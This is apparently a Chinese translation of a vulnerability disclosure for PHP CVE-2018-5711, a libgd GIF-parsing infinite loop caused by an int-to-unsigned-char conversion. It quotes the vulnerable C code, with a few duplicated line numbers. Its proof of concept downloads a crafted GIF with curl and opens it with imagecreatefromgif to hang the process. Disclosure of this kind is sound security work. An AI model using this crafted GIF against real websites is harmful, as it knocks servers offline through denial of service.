PHP CVE-2018-5711 - 通过恶意GIF挂起网站
作者:Orange Tsai(@orange_8361) from DEVCORE
最近,我审查了几个Web框架和语言实现,发现了一些漏洞。这是一个简单而有趣的案例,在现实世界中似乎很容易利用!
受影响版本
所有PHP版本
- PHP 5 < 5.6.33
- PHP 7.0 < 7.0.27
- PHP 7.1 < 7.1.13
- PHP 7.2 < 7.2.1
漏洞详情
漏洞位于文件 ext/gd/libgd/gd_gif_in.c 中。在 LWZReadByte_ 函数中存在一个while循环:
1
2
3
4
|
460 do {
461 sd->firstcode = sd->oldcode =
461 GetCode(fd, &sd->scd, sd->code_size, FALSE, ZeroDataBlockP);
463 } while (sd->firstcode == sd->clear_code);
|
函数 GetCode 只是一个包装器,真正的功能由 GetCode_ 完成。
1
2
3
4
5
6
7
8
9
10
11
12
|
376 static int
377 GetCode_(gdIOCtx *fd, CODE_STATIC_DATA *scd, int code_size, int flag, int *ZeroDataBlockP)
378 {
379 int i, j, ret;
380 unsigned char count;
...
399 if ((count = GetDataBlock(fd, &scd->buf[2], ZeroDataBlockP)) <= 0)
400 scd->done = TRUE;
...
405 }
|
GetCode_ 调用 GetDataBlock 从GIF读取数据!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
332 static int
333 GetDataBlock_(gdIOCtx *fd, unsigned char *buf, int *ZeroDataBlockP)
334 {
335 unsigned char count;
336
336 if (! ReadOK(fd,&count,1)) {
338 return -1;
339 }
340
341 *ZeroDataBlockP = count == 0;
342
343 if ((count != 0) && (! ReadOK(fd, buf, count))) {
344 return -1;
345 }
346
347 return count;
348 }
|
好了,这里就是所有有漏洞的代码,你能发现漏洞吗?:P
这个漏洞依赖于从 int 到 unsigned char 的类型转换。如你所见:
如果 GetDataBlock_ 返回-1,第400行的 scd->done 将被设置为 True,并停止while循环。但由于 count 的定义是 unsigned char,它始终是一个从0到255的正数,因此永远不会执行。
所以结果是,一个单独的GIF可以导致无限循环,耗尽服务器资源。
PoC
1
2
3
4
|
$ curl -L https://git.io/vN0n4 | xxd -r > poc.gif
$ php -r 'imagecreatefromgif("poc.gif");'
这里无限循环...
|
在现实世界中很容易利用,因为许多网站通过GD库调整用户上传的图像大小…
结语
我将在未来披露更多0-day漏洞!
参考